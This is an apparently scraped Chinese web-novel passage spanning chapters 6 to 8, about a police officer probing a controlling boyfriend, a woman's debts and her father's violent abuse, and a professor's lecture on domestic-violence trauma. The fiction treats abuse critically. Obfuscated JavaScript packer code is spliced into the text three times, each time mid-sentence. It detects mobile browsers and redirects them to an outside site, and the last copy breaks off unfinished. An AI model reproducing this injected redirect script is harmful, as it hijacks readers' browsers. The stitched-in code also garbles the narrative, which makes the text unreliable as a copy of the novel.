“在你们眼中,这只是恋爱吵架?”翁秀越难掩语气中的愤怒。 辅导员露出尴尬的表情。 张开阳拦住翁秀越后续的话,好脾气地对辅导员问道:“请问梅满在与季琪琨交往之后,有没有什么明显的变化?” “明显的变化?”辅导员思索了一会,“我听她的专业老师说,梅满的画风变化明显。除此以外,我没有留意到什么变化。” “好,谢谢。”张开阳拿起笔,撕下随身携带的便利贴,写了个号码递给辅导员,“如果你想到其他的事情,无论多么微小,都可以给我打电话。” 辅导员接过名片。 张开阳和翁秀越相继起身,坐在皮质转椅上旁听的校长也跟着起身。他隐晦地表达了希望翁秀越今后用电话联系,而不要亲自到校园里来走访的请求。 “对梅满的事情,我们深表遗憾,但也希望你们能理解我们的工作不易,这样对学校的影响不好。”校长歉意地说。 这次走访,并没有什么有价值的收获。 一个二十二岁的女大学生,竟然没有任何朋友。为数不多曾有过密切交往的,也都在一两年前相继断了联系。 “一开始觉得人挺好的,但深交之后才觉得性格合不来。” “有的时候,一点莫名其妙的小事都能叫她发火。” “梅满……我不知道该不该说。但她确实私底下和表面区别挺大的。” “成绩是挺好的……但她做的很多事情,都让人匪夷所思。” 与之相反,梅满的同学们提起季琪琨时,不约而同都是赞美。 “学长虽然家里有钱,但从来不会看不起那些不如他的人。每次有什么募捐,他都是带头捐得最多。” “那家伙在我们男生里也很有人气,毕竟家世好,长得帅,成绩好,体育也不错。学校里一帮女生天天追着他跑。说老实话,谁不想过那种开了挂的生活?” “梅满能和会长交往,半个学校的女生都羡慕不已。” 先听了这些立场分明的对话,也不怪翁秀越在辅导员面前轻易动怒。 她的怒火已在胸口燃烧许久。 张开阳理解一个母亲对女儿无条件的信任,但其他人的证言,他也不得不认真衡量。 如果说一个人在说谎,难道这么多的人,都在说谎吗? 今天的调查,似乎要失望而归。而翁秀越不相信至今为止找到的证言,仍要留在校园中继续寻访。 “翁阿姨……” 张开阳叫住了她,但却不知道如何劝说。翁秀越充满警惕和防备的眼神,仿佛已经知道了他内心所想。 就在这时,翁秀越放在提包里的手机忽然响了起来。 “……喂?”翁秀越接起电话。 片刻之后,她的表情变了。她看向张开阳,把耳边的手机放了下来,在他面前按下了免提按钮。 一个女生急切的声音从电话中传出。 “……翁阿姨,你不要相信他们的话。他们根本什么都不知道!” 张开阳立即记下来电号码,同时暗示翁秀越打开通话录音。 “你是谁?”翁秀越问。 “我、我是梅满的朋友,但我不能告诉你我是谁。我知道梅满后来为什么没有朋友,这都是季琪琨害的!” 女生忿忿不平地说道: “我和梅满刚开学那会就认识了,那时候,大家都喜欢梅满。因为她脾气特别好,长得也很好看。梅满和季琪琨在一起,也是季琪琨先追的人。我们一开始都以为梅满很幸福,哪怕她恋爱之后疏远了我们,我们也只觉得这是她见色忘友,除了打趣之外也没放在心上。” “但是,大概从两人交往一年起,事情就渐渐变得不太对劲了。先是梅满毫无征兆地单方面删除了我们许多人的微信和□□,再是莫名其妙地打电话去质问指责一些我们根本不记得的事。” “我也接到过那样的电话,一开始我很生气,但后来我只觉得奇怪。我试图找梅满问个明白,但她根本没有单独一人的时候,每次季琪琨在身边,她都拒绝和我交谈。” “直到去年,梅满忽然用一个陌生号码来加我微信。她告诉我,她想和季琪琨分手,因为受不了他的控制欲。我这才知道,原来是季琪琨一直在控制她和外界的联系,不仅如此,他还逼她打那些莫名其妙的电话,让她去故意惹恼别人,比如把一杯咖啡倒在别人头上——只因为季琪琨觉得‘有趣’。” “等到被淋水的人向梅满发火,季琪琨又会以‘调停者’的身份站出来斡旋,要求梅满对此赔礼道歉。我听到梅满这么说的时候都惊呆了——完全想象不到世上竟然还有这样的人!” 翁秀越握着电话的手在不断颤抖。 “这些话你为什么不当面告诉我?” “……对不起,翁阿姨。”女生的声音变得怯弱和愧疚,“你也知道季琪琨家里的背景,而且他人这么变态,我也担心自己会受到他的报复。所以……对不起了,翁阿姨。我只能将这些告诉你,希望能帮到你一些。” 张开阳听出女生即将挂断电话,他顾不上其他,连忙出声叫道:“等一下!” 忽然出现的男声让对方吃了一惊,张开阳得以有机会问出最重要的问题。 “你知不知道,梅满为什么要听从季琪琨的这些命令?” “一开始是因为爱,她觉得那是爱。”女生沉默片刻后,用讥讽的语气说道,“但后来……我只知道,她说‘没有办法’。” “我知道的,就那么多了。” 这一回,通话真的结束了。 “……你能帮我找到她吗?”翁秀越抬起头看向他。 在没有立案的前提下,张开阳不能动用警察的权力去寻找某一个人。 但他在翁秀越的目光下迟疑了,片刻后,他说: “我试试。” …… 共进早餐之后,原本魏芷应该去画廊上班。 只因她拿起提包时随口一句“包角磨损了”,季琪琨便提出带她去商场购物。 “那我给经理打个电话请假……” 季琪琨按住了她拿起手机的手,笑道:“不用,我给他发条消息就行。” 江都市最大的奢侈品购物广场,是结识季琪琨以前的魏芷进都不敢进的地方。 而现在,每进一家不同的奢侈品店,不同的导购都带着同样的殷勤表情,寸步不离地跟在他们身后,为他们热情地解说当季新品。 季琪琨对流行并不在意,他只在乎是否当季新品。因为他知道他付出的金钱里,包含了品牌设计师对当季流行的掌控。 他只在乎是否大牌,是否新品,是否与他相得益彰。 对人的选择标准,却似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573203|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并非如此。 “你觉得这个怎么样?” 魏芷拿着一款香奈儿的新款保龄球包走到季琪琨面前。 他只是随意扫了一眼,就微笑着说道:“挺配你的,就买这个吧。” 近三万的手包,季琪琨眼也不眨地买了。 当天晚上,季琪琨带她参加了一场商业晚宴。魏芷一身都是今天刚买的新品,乍一看,和其他人携带的女伴没有什么区别,但包与包之间,有爱马仕和香奈儿之分,人与人之间,也有天差地别。 当季琪琨用法语和人交流的时候,她只能像个装饰物一般挽着他微笑。 宴会厅里的女人大多是两种,一种拥有斯坦福等学历,一种拥有非富即贵的出身,另一种则拥有整容脸、或纤瘦或丰满的妖娆身段。剩下凤毛麟角的一种,她们随手挎着爱马仕,穿着打扮偏向中性,已不必卖弄身材和脸庞。 魏芷拥有的,只有一张国内二本文凭,一个贫寒的家境,以及一颗被贫穷和苦难浸泡变质的心。 这不是她第一次陪季琪琨参加晚宴,但每一次,都会感到同样的自惭形秽。 “你又在胡思乱想?”季琪琨充满磁性的声音从头顶响起。 魏芷回过神来,发现他正似笑非笑地凝视着她。 “我只是觉得……”魏芷犹豫片刻,“我会不会给你丢脸?” “当然不会。”季琪琨说,“他们都很钦佩我选择一个普通人的魄力。你知道他们说我们是什么吗?” “……什么?” 季琪琨狭长的眼中,沉静又暗含波澜,仿佛夜幕下隐于黑暗的漩涡,在无声地吸附着所有靠近的东西。 “真爱。” …… 晚宴结束后,季琪琨在魏芷的要求下,将她送回魏家。 她回去的时候,王琳正在杂货铺里整理货物,用瘦弱的双臂,踮起脚尖,高举起沉重的纸箱放至架顶。 魏芷沉默地接过她手中的纸箱,踩在一旁的酒水箱子上,把东西在架顶放好。 “小芷,你……”王琳局促地笑着,双手在裤腿上擦了擦,咽下担忧的问询,转而露出有意讨好的笑容,“你吃晚饭没有,妈给你煮碗面?” “不用。” 魏芷冷淡地说完,推开木门走进内室。 空荡荡的内室,她的折叠床安静竖在阳台边。两扇卧室门紧闭着,一扇门里是魏来连麦打游戏时特有的暴躁声音,另一扇门格外寂静,魏杉恐怕还在麻将桌上奋战。 这样的生活,已经持续了二十六年。 魏芷打开折叠床,换上居家的衣服,将今天季琪琨刚买给她的提包,连带着包装盒、小票,一一拍照,以原价的七折放上闲鱼。接着又在淘宝上搜索同款,买了一个高仿。 她喜欢包,因为包好出手,不分尺寸,仿货也多。而衣服就不好出手了,尺寸是一方面,最难的是买到够像的仿品。 季琪琨送她的衣服大多原样挂在简易衣架上,而收纳箱里随意挤在一起的包,则都是后来买回来的仿品。 不到十分钟,她刚放上去的提包就被人拍了下来。 买家是她的老顾客,知道她的特殊要求,当即就确认了收货,一笔巨款流入魏芷的账户。 她拿出自己的华为手机,进入隐私空间,也就是另一个系统。手机桌面上,铺陈着琳琅满目的网贷APP。 魏芷挨个检查之后,选了其中一个即将逾期的,将刚刚到手的加上这段时间跑外卖挣的钱,一并还了进去。 即便如此,也是杯水车薪。 高昂的利息像一头巨兽,追着她不择方向地逃窜。 她曾以为,自己这辈子都不会像魏杉那样,因为赌博而负债累累,也不会因为王琳那样,因为软弱而跟着被连累。那两人早已因为网贷逾期成为失信人员,她曾以为,她和他们离得很远。 四年前,王琳被诊断为胃肠道间质瘤,需要服用靶向药物伊马替尼,一盒进口伊马替尼23500元,王琳每月需服用两盒。 魏杉是绝对不会出这个钱的,王琳如果知道真实药价,也会选择放弃。 魏芷无法放弃。 她知道那是一个愚昧而软弱的妇人,她恨她的时候远比爱她的时候更多。 但那依然是爱。 虽然是捆在她脖颈上的铁锁,但那依旧是爱。 可憎的爱。苦涩的爱。伤人的爱。 她谎称自己有医保,揽下买药的事情不让王琳插手。 爱将她推向悬崖,爱将她逼上绝路,爱让她窒息,却又无法松手。 还钱的速度永远赶不上生息的速度,无论再怎么努力,都看不到绝望的尽头。不知不觉,她已欠下百万负债。 地球上近七十五亿人,有多少人能改变一出生即赋予的命运? 穷人的孩子依然是穷人,富人的孩子依然是富人。不幸的人始终不幸,幸福的人一直幸福。财富不断积累,苦难一直流传。 她要改变自己的命运。 她要挣脱命运赋予自己的苦难。 她绝不甘心就此认命。 “原来是真爱……” 灯火辉煌,杯觥交错的宴会厅中。魏芷喃喃自语。 她抬头凝望季琪琨的双眼,脸上渐渐露出笑容。 “难怪,你能够拯救我。”她说。 7.第 7 章 早上八点,魏芷才起床。 昨天在晚宴上她就提过,第二天早上要请假去医院为母亲开药。 “正好晚点我要给财务经理打电话确认工作上的事,我会跟他说的。”季琪琨笑道。 她八点出门,先在快递站寄了昨天刚卖的包,接着前往当地最大的人民医院。 伊马替尼并未纳入医保,每次购买,都是原价。 刚刚还上的网贷,又一次被提取出来。唯一增多的,只有利息。 开完药差不多十点,魏芷不敢多耽搁,立即前往画廊。 财务办公室里的同事们都已经各司其职,魏芷和她们简单问候之后,连忙打开电脑着手自己的工作。 两个小时后,出纳小蔡和库存会计都相继离开工位前往食堂,胖乎乎的财务经理走在最后,笑呵呵地问:“还不去吃饭啊?” 魏芷连忙抬头回道:“我还剩一点就做完了,李经理先去吃吧。” 经理也离开后,魏芷抓紧时间补上上午请假的工作量。 因为时不时要请假跑医院,因为季琪琨的这层关系,经理总是一口答应,但魏芷心有愧疚,每次请假回来都会加倍补上耽搁的工作。 桌上的手机震动打断了她手上的工作,她看了屏幕一眼,因为上面的名字才决定接起电话。 “听说你又在加班不吃饭?” 季琪琨含笑的声音从电话那头传来。 “没有不吃饭,我打算忙完手里这点工作再去吃。”魏芷说。 “我中午有应酬,不能陪你吃饭。不过,我给你点了你喜欢的那家粤菜。应该过会就送来了。”季琪琨说,“记得趁热吃。” 挂断电话后不久,魏芷就收到了跑腿送来的餐食。季琪琨点的餐远远大于她的食量,连清理之后的桌面都差点摆不下。 魏芷只拿出了自己能吃完的量,其他依旧放在纸袋中,打算晚上带回家,让王琳热热明天再吃。 她一边吃,一边思考季琪琨的“听说”,是从哪里“听说”。 他是体贴的上司,大方的男同事,英俊富有的适婚男人,整个画廊上下最不缺的就是对他的赞美。魏芷刚和他公开关系那会,小蔡连续几天来上班眼睛都是肿的。 从哪里听说都有可能。 吃完饭,魏芷把吃剩的餐盒等物带出办公室扔掉,然后进了洗手间打算洗手。 尽头的两扇隔间内,有熟悉的声音传来。 “……真是麻雀变凤凰,也不知道季总看上她什么地方了。”小蔡说。 “太让人羡慕了,傍上老板就是不一样啊。上班像上香,想来就来想不来就不来,连个假也不用请——”库存会计的声音。 “当初她刚来,我就知道她不是正经人。画廊的财务除了工作轻松一点,每个月到手二千五的薪酬完全比不上大公司的会计。谁知道她奔着什么来的。”小蔡忿忿不平道。 两个隔间相继传来冲水的声音。 魏芷平静地打开水龙头洗了手,神色如常地走出了洗手间。 她先回到办公室,接着不久,小蔡和库存会计也回来了。 “小芷,还在办公室啊?去吃饭没有?”库存会计笑着问道,而小蔡则目不斜视地径直走回了自己的工位。 魏芷同样笑着回答。 同事背后的议论,她早就有所预料。比起那些讽刺和揣测,她更在意的是另一件事。 “李经理,我昨天和今天早上的请假,你帮我登记了吗?”魏芷敲了敲开着的玻璃门,走进财务经理办公室,“我正要去行政办公室一趟,如果还没登记,我就自己去登记一下。” 经理抬起头来,脸上露着惊讶和茫然。 “你要登记吗?那我现在给你写批假条吧。”经理从抽屉里翻找专门写假条的本子,“怎么突然想起来写假条了?” “李经理,我今年请了多少次假,您还记得吗?” “这是第一次吧。” “那我之前没来,是按旷工算的吗?” 魏芷的话吓了财务经理一大跳,他手中的钢笔一抖,慌张看向魏芷。 “当然不是啊!怎么敢用旷工来算,你不是耽搁之后都补回来了吗,这个……这个就算弹性工作时间,季总都答应的事情,我们没道理有意见啊!” “季总是怎么说的?”魏芷问。 “季总没说什么。”李经理快速写好批假条,堆着笑容将纸条递给她,“但什么也没说,不就代表一种指示吗?” 魏芷接过批假条,笑道:“谢谢李经理。” “诶,客气,客气了。”经理的圆脸上挂着虚伪的笑容。 …… 五点下班,魏芷坐上公交车,直接去了配送站打第二份工。 她也曾考虑过要不要买一辆电动车来跑外卖,顺便上下班。但如果把车停在家门前,她担心要不了多久,车就会被魏杉或者魏来偷去卖掉。 最终,她还是选择继续租借配送站的电动车。 炎炎夏夜,就算十点以后也有三十五摄氏度。魏芷的外卖制服穿在身上,不断跑上跑下,跑进跑出,贴身的T恤湿润地贴在身上,骑上电驴冷风一吹,刚刚半干,马上又会再次湿透。 凌晨一点,她终于下班。在配送站取下头盔的时候,她的头发像被汗水洗过一样,湿淋淋地贴在头上,有看不见的热气争先恐后冒出。 公交末班车早已没有,幸好配送站离家不远,每次魏芷都是拖着沉重的身体步行回家。 今夜的杂货铺罕见地垂下了卷帘门,魏芷本以为王琳也撑不住休息了,没想到掏出钥匙开门而入,通往里间的木门背后却透着灯光。 她提着打包回来的粤菜和王琳的药,缓缓走进木门,内室亮如白昼,所有人都在。 魏来坐在小餐桌前打手机游戏,王琳坐在一旁,神色古怪,显得坐如针毡。桌面上散落着许多五颜六色的宣传单。 魏杉正躺在唯一的沙发上打瞌睡,听闻魏芷开门的声音,一骨碌坐了起来,那双总是充血的突出眼球里,闪烁着不同寻常的兴奋。 “哎哟,我们家的功臣小芷回来了!”他以一种令人想吐的亲热态度说道,“看你这样,今天又累惨了吧?” 魏芷皱眉躲开他想要搭上自己肩膀的手,充满防备地看着他和魏来:“你们怎么还没睡?” “这不是等你商量我们家的大事吗!”魏杉率先走向小餐桌,回头见魏芷没跟来,又招手道,“来啊,坐!坐下说!” 魏来也一反常态地放下手机,一副迫不及待要洗耳恭听的模样。 王琳的视线和她相接,其中既有无奈,也有对即将发生的事情的畏惧。 魏芷走向小餐桌,将药和打包回来的食物放在桌上,然后随手拿起一张桌上的宣传单,翻到正面,是醒目的两行大字: “尊贵不凡,卓尔不群。” “为你量身定做的梦中情家。” 她一把抓起桌上的其他宣传单,发现竟然都是江都市高档楼盘的宣传广告。 一整天的疲惫在这一刻统统化作愤怒朝魏芷涌来。 魏杉仍未看出风暴已至,脸上还挂着恶心的笑容,一边搓着粗糙的双手,一边将其中一张宣传单递给魏芷。 “我和你弟弟今天去看了几个楼盘,这个是我们最满意的一个。”他难掩兴奋,“不仅视野好,旁边就是公园,离市中心也近。而且面积也大,以后小为结婚了,孩子的房间也有……” 魏芷打断他的话,把手里的宣传单扔回桌上。 “给魏来准备的房子?跟我说干什么?” “当然是要靠你付钱啊——”魏杉毫无心虚之意,继续摆着那张令人作呕的讨好笑脸说道,“你弟都二十四了,该结婚生子了。现在没有房子,哪个女孩会嫁他啊?” “那也和我没关系。”魏芷强压怒火,冷冷道,“我没钱。” “我知道你没钱,但你可以去贷啊。”魏杉挺起胸膛,一副已经为她打算好的模样,“之前老爸让你贷款给我买个二手车,我好跑网约车补贴家用,你也没同意——以前就算了,这次你不能拒绝了吧?要不是我和你妈借不到钱了,我也不会向你开这个口。” “这笔钱算是爸爸借你的,以后等我拿到工程款,我第一个就还你。”魏杉说,“就算一年两年的还不上,你不是马上就要和季琪琨结婚了吗?等你生了孩子,让老公帮你还钱就行了。” “不可能!”魏芷说,“你想都别想!” 遭到毫无斡旋余地的拒绝,魏杉终于露出了真面目。 “你这怎么胳膊肘往外拐呢?”他的好脸色消失无踪,那双鼓眼中再次充斥怒火,“魏来是你弟弟,你是姐姐,他买婚房,你本来就该帮忙!你看看别人家的姐姐,哪个不是赶着出钱出力的?就你这没良心的白眼狼,喂不熟的狗,永远只想着你自己!我从没见过你这样自私的人!” “巧了!”魏芷的怒火终于决堤而出,她的每一个字都淬着浓浓的憎恶,“我也没见过像你这么不要脸的人!我凭什么借钱给他买房子?他又不是我生的!” “就凭你是我生的!你就该为这个家做贡献!”魏杉怒吼起来,“反了你,别以为攀了高枝我就不敢收拾你,你永远都是我女儿!我就是打死你,那也没人管得了我!” “魏杉!魏杉!”王琳惨白着脸挡在魏杉身前,不让他走向魏芷,但她随即就被魏杉一脚踹倒。 “你干什么!”魏芷脑袋嗡地一声,满腔怒火地扑了上去。 魏来从身后悄悄绕了过来,用力反剪住她的手臂不让她动弹。 “我告诉你,我今天不打你。因为子不教,母之过。你妈就没把你教好!所以你才这么自私自利,忤逆不孝!”魏杉喘着粗气,抽出腰间的皮带。 “我不打你,我打这个罪魁祸首!” “啪!” 伴随着凌厉的破空之声,两指宽的皮带狠狠抽在了王琳的背上,她下意识蜷缩起身体。 “住手!” 冰冷的恐惧压过了炽热的愤怒,魏芷忍不住失声尖叫。 魏杉对她的话视若未闻,手中的皮带卯足了力气,重重抽向王琳的身体。 那种浑身僵硬,仿佛被世界抛弃的感觉又回到了魏芷心中。满脸狰狞,变得不像是个人的魏杉本身已经不再可怕,可怕的是随之侵袭的已经重复二十六年的痛苦和绝望。 被皮带抽过的地方,会迅速红肿。 在最开始的几天,只是小山般凸起的红肿。但在之后的一周到两周时间内,那两指宽的伤痕,会变成刺目的青紫色淤青。 夏天,是魏芷最厌恶的季节。 她必须在炎热的夏季穿上长袖长裤,才能遮掩身体上永远也无法消退的伤痕。即便如此,她也会因此遭受异样的目光。 曾几何时,她走在路上与陌生人目光相触,都会近乎呻吟一般在内心祈祷—— 带我走吧。 没有任何人回应她的求救。 唯一一个过问她手臂上淤青的大人是她小学的班主任,得知是亲生父亲打的之后,她略有错愕,过了一会,说道: “教育孩子也不是这么个办法,我会劝劝你爸爸。” 她满心期待。 然而什么都没有改变。 那只是班主任在当时情景下的随口一说,只有她记在了心中。 没有人觉得那是暴力。 “天下就没有不爱孩子的父母。你爸爸也是爱你啊。” 每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14582102|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人都这么说。 就连住在隔壁的老奶奶来劝架时,也是这么说。 错的不是打人的魏杉,错的是挨打的魏芷。 没有一个人站在她这边。就连王琳,也只会哭泣。 自从惨叫声引来隔壁邻居的劝架后,魏杉规定他们挨打时不许发出声音,越哭喊,越会被打得更惨。久而久之,所有人都学会了咬紧牙关,紧绷身体,默默祈祷痛苦尽早结束。 她必须日复一日地因为各种鸡毛蒜皮的事情被魏杉殴打,或者束手无策地看着王琳被殴打。她想要辍学打工,逃离这个家,却因年纪太小,就算辍学也没人敢雇她。她想要报警寻求帮助,却在网上查不到一个因为长期家暴而失去监护权的例子。就算告诉老师,也不过是不痛不痒的谈话,然后换来魏杉更为狠心的殴打。 她没有任何地方可去。 活下去的唯一办法就是泯灭内心情感讨好魏杉以换取一时安宁。 痛苦和绝望反复侵蚀着她的心灵,幼小的她向每一个神灵甚至恶魔祈祷,却得不到任何回应。 从那时起,她就知道,活着是一件痛苦而孤独的事,人从诞生起就是孤零零一人,什么依靠什么扶持,都是自欺欺人、粉饰太平的谎话。 她和人世间的联系,在那一刻就断掉了。 即使皮带印会随着时间淡去,刻在她心灵上的伤痕却永远不会。 几十鞭下去,魏杉气喘吁吁,倒退一步扶住桌子,另一只手捂住了胸口。 在她长大成人后,魏杉动手的次数越来越少。并不是他改过自新了,而是他的身体已经不允许他如此激动了。 家暴者并不会洗心革面,能让他们停下暴力的,只会是他们也无法对抗的东西。 魏芷看着他,忽然笑了起来。 她笑得越来越大声,笑出了眼泪。 魏来被她吓到,不由自主地松开了她的双手,向后退了几步。 就连蜷缩在角落的王琳,也忍不住满眼泪光地朝她看来。 “你笑什么笑?!”魏杉大吼道。 “我笑你在白费功夫……你想让我借网贷,好啊,我借就是了。”魏芷从包里拿出手机,解锁之后打开隐私空间,将手机扔给身后的魏来,“只要你借得出来,多少我都给你借。” 她满脸泪水地笑道。 魏杉又疑惑又愤怒地看向捣鼓手机的魏来。 不过片刻,魏来慌张的声音就响了起来:“爸!她早就把网贷借了个遍,这、这好像已经欠了一百多万!” 魏来的一句话,仿佛砸穿冰面的一块巨石,石头落入冰水,裂纹还在继续。 震惊、恐慌、难以置信的目光从四面而来,齐聚在魏芷身上。 “我早就说过,她是个神经病!”魏来愤怒大叫道,冲到阳台上摆放折叠床的地方,从枕头下方摸出了一把药片朝魏芷掷来。 许多没有包装的板状药片漫天飞舞,其中一板药片划过魏芷的脸颊,尖锐的金属角刺痛了她早已麻木的自尊。 紧接而来的混乱再次升级,被彻底激怒的魏芷和买房梦碎的魏来扭打在一起,他们之间在多年的告密、竞争之下,早已不剩任何手足情谊。魏来的一脚一拳都用尽全力,恨不得当场打死魏芷。就连想要拉架的王琳,也被误伤了几拳。 魏杉丝毫不关心面前的殴打,仍拿着她的手机,不死心地查看贷款额度。 魏芷一脚踢在魏来□□,趁他吃痛松手的时候,冲进了厨房。 魏来下意识去追,却在厨房门口骤然停下脚步,后退起来。 “小芷……”王琳带着哭腔喊道。 魏芷握着一把砍骨刀,慢慢走了出来。她的胸膛起伏剧烈,呼出的急促气息,就像因为红布而失去理智的斗牛。 “你、你想干什么?”魏来慌了神,下意识往王琳身后退去,“我告诉你,你敢动我,你也完了!” “魏芷!放下!”魏杉也终于放下手机,大喝道。 魏芷提着砍骨刀,一步步迈向自己住了二十六年的小阳台。 “……谁拦我,我砍谁。”她那干枯沙哑的声音让她自己都吃了一惊。 那真的是她的喉咙里发生的声音吗?而不是一具被埋在地下腐朽多年的尸体的呐喊? 她拖出角落的行李箱,开始收拾自己的行李。 王琳用颤抖的手捡起地上一板掉落的药物,努力用没有戴眼镜的双眼辨认着上面的小字。 “草酸艾司西酞普兰片。” 那是一串繁复的药名,王琳从没见过。 她抬起头,恐慌而哀求地看着魏芷:“小芷,这是什么药?你得什么病了?” “精神病啊!我不是说了么,她脑子有问题!”魏来大叫道。 “小芷?你说话呀……这到底是什么药?”王琳颤声道。 魏芷像什么也没听到那样,快速地将季琪琨送给自己的衣服和包塞进行李箱内。除此以外,她没有任何想要带走的东西。 现在留在世间名为魏芷的,到底是一个怎样的鬼怪,连她自己也看不太清。 小的时候,她最大的期盼就是长大成人,顺理成章逃离这个早已死去的家。真正长大之后,她才发现当初困住自己的并非是无法独立生活的经济能力。 是王琳那竭尽全力从沼泽中托举而出的爱,牢牢地将她困在原地。 “到底为什么要爱我呢?干脆像爸爸那样对待我就好了。这样,我就能毫无心理愧疚地扔下她离开这里。” 她期盼不曾被爱过,这样她才肯被独自拯救。 她憎恨爱。爱困住了她。爱也杀死了她。 她拖着轻盈得不像它尺寸的行李箱,头也不回地迈出了早在八年前就该迈出的门槛。 8.第 8 章 “无力逃脱,是家庭暴力最大的特征。” 随着最后一句总结的落下,这场讲座也落下了帷幕。 江都警校经纬楼,报告厅里稀稀拉拉的学生接连起身离去。有少数几个对讲座内容抱有疑问的学生,拿着笔记前往讲台询问。 台上满头银丝的讲师是清华大学的陈教授,既是博士生导师,也是著名心理学家。张开阳今日特意回到母校,就是为了参加这场公益讲座。 他坐在座位上,等到讲台前的人走得差不多了,他才起身前去。 “陈教授,刚刚听了您的讲座,我的感触非常多。您接下来还有时间吗,我还有一些不明白的问题……”张开阳真诚地问道。 陈教授收拾着桌上的教案,头也不抬地说:“你是毕业生吧?” “是,我已经参加工作了。这次回来,是专程来听您的讲座的。” “工作上遇到了问题?” 张开阳露出了为难的神色。陈教授没有追问,她将右肘撑在讲桌上,身体轻靠,耐心地看着张开阳:“说吧,孩子。你有什么疑问?” 张开阳在来之前,就已经整理好了他想问的问题。但真正到了要说出的时候,那乱麻般数不清的疑问堵住了他的唇舌。 自陪着翁秀越走访群众搜集起诉证据之后,半年过去了。 这半年时间里,他在派出所里见到的残酷比前二十五年都要多。 人性的灰色在这里被无限放大,几乎要将他淹没。 “我想问……您的最后一句话‘无力逃脱’,为什么会这样呢?”张开阳说。 陈教授微微一笑,了然地说道:“你是想问,她们有手有脚,没有被限制行动,为什么不自己离开?” 张开阳感到一股羞愧涌上心头,就好像他也变成了那些不知内情就在背后议论的人一般。 “铁制囚笼的存在易于察觉,以‘家’为名的透明囚牢却非外人能够看见。家往往是男人的皇宫,但很少有人知道,这个家也可能是女人和儿童的囚牢。” 陈教授温和的语气缓解了张开阳心中的愧疚,他忍不住抬头看向这个虽然年迈却散发着睿智光芒的女人。 “在‘家’这个囚牢里,儿童没有独立谋生能力而成为囚徒,女人则更多是出于经济、社会、心理等原因,以及实质的恐吓和殴打而成为囚犯。” “无论是短期还是长期遭受家暴的人,都有可能获得严重的心理创伤。这并非是心灵上的一次感冒,而是心灵上可能终生不愈的重疾。一个心灵生了病的人,就算她有完好的手脚,也可能无法独立走出牢笼。” “因为在她获得创伤的那一瞬间,她与人联结的能力,自我拯救亦或寻求帮助的能力,也大大降低了。” 张开阳不自觉地皱起了眉头:“患有心理创伤的人,有没有什么明显的症状?” “每个人表现的方式都不一样,”陈教授缓缓道,“只不过,所有心理创伤都有一种共通,那就是极度的恐惧、无助,已经失去掌控和即将面临毁灭的感觉。” 张开阳一愣,眼前浮现出这段时间接触的家庭暴力受害者,她们无一例外都有着这样惊恐不安的眼神,越是受虐待时间短,表现越明显,而长期遭受虐待的受害者,眼神大多麻木空荡,连恐惧也不曾有了。 “同样的一个人,在我们看来或许就是一个令人憎恶的施暴者,或许还会想,他并不高大,也并不健壮,甚至只是社会上的一个失败者,为什么受害者却能甘心忍受许多年,乃至主动留下不愿离去?” 张开阳脸红了,这正是时常萦绕在他脑海中的不解。 “因为这样一个平平无奇,丝毫没有任何值得尊重地方的人,在饱受多年暴力的受害人眼中,或许只是看见他,就会让她浑身僵硬在原地,脑海被雷击一般的恐惧所占满。这并非理智所致,而是创伤后症状。” “一般人面对危险时,交感神经系统会分泌肾上腺素,使身体出于警戒状态。心理上的威胁感不仅会让人高度集中,也可能改变人体知觉,使人忽略疲累和疼痛等负面感觉,最后,威胁感还会引发恐惧和愤怒。这些反应综合起来,武装了个体全身心,以备迎战或逃脱。” “一旦这些行动失败,甚至反复失败,人就会产生受创反应。因为抵抗和逃脱都已彻底失败,人类的自我防御系统因此溃败,变得混乱无序。即便危机解除,过度反应的状态也无法恢复常态。一次或多次的创伤事件,对受创人的生理激发反应、情绪、认知和记忆,都会留下严重而长期的改变。” “留下并非主动留下,而是受创后的一种惯性。” 陈教授微笑着说道,她的笑容里有一种遗憾和苦涩。 “最复杂的虐待往往出自家庭,由精神暴力和身体暴力共同施暴。因为加害者非同寻常的控制欲,受害者往往在社会上孤立无援,她们唯一能依赖的,只有伤害她们最深的人。被那些加害者有意与社会隔离的受害者,可能在一次逃跑之后,又被加害者说服回来。打动她们的并非暴力,而是虐待的源头向她百般忏悔,诉诸爱意,他会将一切过错都归根于爱,他的所有行为都恰好证明了他是多么爱她,多么需要她。一切都是因为她不够爱,所以他才会如此焦虑、不安、失去理智。” “施虐者会向受害者灌输一个理念,那就是‘只要你证明足够爱我,我们就能获得幸福’。‘如果你觉得并不幸福,那就是你对我的爱还不够’。” “受害者一步一步退让,竭尽所能地证明她的爱。直到她的心在这场心动和心碎的周期往复中彻底破碎,为了生存,她崩溃的心会自我分裂,她会去努力相信,她这么做,不仅是因为怕他,也是因为爱他。” 陈教授的话,无异于一场风暴席卷在张开阳的内心。 他有一个幸福的家庭,在他的成长阶段,他从没挨过哪怕一次耳光。他沐浴在光明之下,自然而然生出让光明笼罩他人的念头。他想要拯救那些不幸的人,将自己的幸福分给他们,所以才选择了警察这一条路。 但就职之后,他才发现,他将一切想得太过简单。 太多束手无策的悲剧发生在他眼前。 他无法不和那些悲苦的受害者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 